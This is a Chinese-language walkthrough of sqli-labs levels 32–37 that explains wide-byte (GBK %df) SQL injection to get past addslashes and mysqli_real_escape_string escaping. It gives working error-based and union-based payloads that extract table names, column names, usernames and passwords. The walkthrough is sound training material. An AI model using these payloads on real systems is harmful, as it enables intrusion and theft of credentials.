1. 程式人生 > 其它 >sqli-labs(32-37)寬位元組注入

sqli-labs(32-37)寬位元組注入

32 寬位元組-報錯注入

輸入?id=2',發現引號被轉義了,沒有報錯

一般情況下,這裡是不存在SQL注入的,但有一個特殊情況,就是資料庫使用GBK編碼,可以用寬位元組注入

寬位元組注入

概念

在mysql中,用於轉義的函式有addslashesmysql_real_escape_stringmysql_escape_string等,還有一種情況是magic_quote_gpc,不過高版本的PHP將去除這個特性,寬位元組注入與HTML頁面編碼是無關的。

  1. 當某字元的大小為一個位元組時,稱其字元為窄位元組.比如 ASCII 編碼。

  2. 當某字元的大小為兩個位元組時,稱其字元為寬位元組.

  3. 常見的寬位元組編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

  4. GB2312 不存在寬位元組注入,可以收集存在寬位元組注入的編碼。

  5. UTF-8 編碼: 是一種編碼的編碼方式(多位元組編碼),它可以使用1~4個位元組表示一個符號,根據不同的符號而變化位元組長度。

原理

寬位元組將兩個字元作為漢字,當'前加個%df,被轉移後為%df\',由於\編碼為%5c,而%df%5c為兩個位元組代表一個漢字,因此%df%5c成為一個字,'沒有被轉義成功逃逸

實戰

?id=2%df'可以看到一個無法顯示的中文字元,雖然顯示單引號被轉義了,但是它報錯了,實際上是成功了

獲取資料庫名?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

由於單引號被轉義,在查詢語句中不能用單引號,因此只能採用巢狀查詢table_schema='security' 換成table_schema=(select database()來獲取表名,

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),0x7e),1)--+

獲取users的欄位名

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

獲取密碼

?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+

原始碼分析

關鍵就是這個函式,它轉義單引號,雙引號,和任意數量的反斜槓

33 寬位元組-報錯注入-addslashes()

初次嘗試

試了試32關的語句,正常顯示,那這一關特別在哪裡呢?

?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

區別之處在哪?

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

看看原始碼

區別就在32是自己寫的函式,這一題用的自帶轉義函式addslashes()

addslashes()定義和用法

addslashes() 函式返回在預定義字元之前新增反斜槓的字串。

預定義字元是:

  • 單引號(')
  • 雙引號(")
  • 反斜槓(\)
  • NULL

可以說和32關的功能大差不差,繞過方式也一樣

34 寬位元組-Union查詢-POST-addslashes()

初次嘗試

POST抓包修改

被轉義了

試試寬位元組注入111%df',報錯了,看來可行

這次採用Union查詢試試

1%df'order by 3#

1%df'order by 2

1%df'union select 1,2#

獲取資料庫名

獲取表名

1%df'union select (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),2#

獲取users欄位名

獲取使用者名稱和密碼

1%df'union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

看看原始碼

使用者名稱和密碼轉義,資料庫設定為GBK,寬位元組注入繞過

35 寬位元組-數字型-addslashes()

初次嘗試

?id=2'直接報錯了是怎麼回事?先判斷注入型別

?id=2 and 1=1

?id=2 and 1=2

由此可以得知為數字型注入

如何判斷是字元型注入還是數字型注入

接下來採用報錯注入還是Union查詢都可以

原始碼分析

使用轉義函式addslashes()進行處理,id為數字型

36 寬位元組-mysqli_real_escape_string($con, $string)

原始碼出問題了,頁面不顯示結果,這道題沒法做了

與上一題原始碼對比,不同之處在於轉義函式換成了mysqli_real_escape_string($con, $string),會被進行轉義的字元包括: NUL (ASCII 0)\n\r\'"Control-Z.

PHP: mysqli::real_escape_string - Manual

由於資料庫為GBK編碼,還是採用寬位元組注入

37 寬位元組-post-mysqli_real_escape_string($con, $string)

初次嘗試

post傳參,burpsuite伺候

12'單引號被轉義

嘗試寬位元組注入12%df',報錯,單引號字元型1

12%df' order by 3#

12%df' order by 2#欄位名為2

接下來就是Union查詢或者報錯注入,略

原始碼分析

mysqli_real_escape_string($con, $string)轉義特殊字元:單引號